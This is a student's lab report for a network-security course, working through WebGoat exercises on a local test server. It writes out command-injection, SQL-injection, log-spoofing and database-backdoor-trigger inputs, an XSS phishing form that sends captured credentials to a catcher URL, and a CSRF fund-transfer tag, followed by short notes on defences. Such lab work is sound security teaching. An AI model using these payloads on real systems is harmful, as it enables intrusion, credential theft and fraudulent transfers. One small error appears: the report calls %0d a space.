2019-2020-2 20175212童皓桢《网络对抗技术》
Exp9 Web安全基础
目录
1. 实验目标
理解常用网络攻击技术的基本原理
2. 实验内容
- 一切之前,我们先安装Webgoat。为了效率,可以上github下jar包再拷到本地。
- 使用命令
java -jar webgoat-container-7.0.1-war-exec.jar
,开启webgoat服务。
- 打开浏览器,输入地址
http://localhost:8080/WebGoat/
,根据其提供的默认账户进行登录
2.1 SQL注入攻击
2.1.1 命令注入(Command Injection)
Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。
- 邮件选择
Inspect Element
,对源代码进行修改 - 在
BackDoors.help
后加上"& netstat -an & ipconfig"
- 点击
view
,输出了与本地计算机连接的所有ip信息
2.1.2 数字型注入(Numeric SQL Injection)
Numeric SQL Injection,即数字型注入,在SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。
- 右键选择Inspect Element进入调试界面,对源代码进行修改
- 在选项列表中,在
101
后面加上or 1=1
- 显示所有城市的天气状况
2.1.3 日志欺骗(Log Spoofing)
Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
- 在文本框中输入用户名
20175212thz%0d%0aLogin Succeeded for username: admin
,其中%0d
是空格,%0a
是换行
2.1.4 字符串注入(String SQL Injection)
String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。
- 在last name中输入' OR '1'='1,由于'1'='1'是永真式,所有的用户信息将会被输出
2.1.5 SQL 注入(LAB: SQL Injection)
LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage
Stage1:String SQL Injection,即字符串注入
- 在密码框中输入' or 1=1 --,可以在不知道密码的情况下登录账户Neville
2.1.6 数据库后门(Database Backdoors)
Database Backdoors,即数据库后门
- 在输入框中输入101; update employee set salary=5212可以更新员工工资,没有经过任何验证就可以简单更改数据表
- 在输入框输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=20175212thz@hackme.com' WHERE userid = NEW.userid
,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为20175212thz@hackme.com,攻击者就可以通过邮箱接收到消息了
2.2 XSS攻击
2.2.1 XSS 钓鱼(Phishing with XSS)
Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。
- 在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?
PROPERTY=yes&user="+ document.phish.user.value +
"&password=" + document.phish.pass.value + ""; alert("Had this
been a real attack... Your credentials were just stolen. User Name =
" + document.phish.user.value + "Password = " +
document.phish.pass.value);} </script><form
name="phish"><br><br><HR><H3>This feature requires account
login:</H3 ><br><br>Enter Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password"
name = "pass"><br><input type="submit" name="login"
value="login" onclick="hack()"></form><br><br><HR>
- 进行登录操作,提交之后可以看到返回了输入的用户名和密码
2.3 CSRF攻击
跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。
- 在title框中输入任意标题,在Message框中输入
<img src="attack?Screen=322&menu=900&transferFunds=100000"/>
,当满足Screen值为322,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。
3、答老师问
3.1 实验收获与感想
经过这学期的九次实验,我对网络攻防中的一些基础攻防操作有了一定程度的了解,虽然实验环境都是模拟最原始,最没有防护的条件,但仍然收获颇丰。我知道了在复杂的网络环境中应该怎样从技术和习惯的角度更好的保护自己的信息不被侵犯,以及如何解决这类问题。
3.2 SQL注入攻击原理,如何防御
答:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防范:
- 对可能的漏洞注入点代码进行检查处理,筛选特殊字符,提高代码的规范性和安全性
- 用户和管理员的权限做到严格区分,是普通用户只能得到最低权限
- 不要将敏感信息或文件明文存储
3.3 XSS攻击的原理,如何防御
答:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
防范:
- 只允许http/https请求读取cookie,防止敌手通过JS获取
- 通过转义安全字符等手段,不信任用户输入的数据,并在表单提交时进行特殊字符的检测
3.4 CSRF攻击原理,如何防御
答:是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。
防范:
- 添加伪随机验证码,让用户进行填写
- 定期清理cookie
4、遇到的问题及其解决方法
- 4.1 问题一: 启动webgoat后,网页左侧没有可选的课程信息
- 解决方法:更新jdk版本至jdk1.8。具体可参考同学的博客
- 4.2 问题二:sql注入攻击的实验室注入攻击部分,显示登录失败
- 解决方法:将源代码规定的密码框长度8改为100,即可全部读取。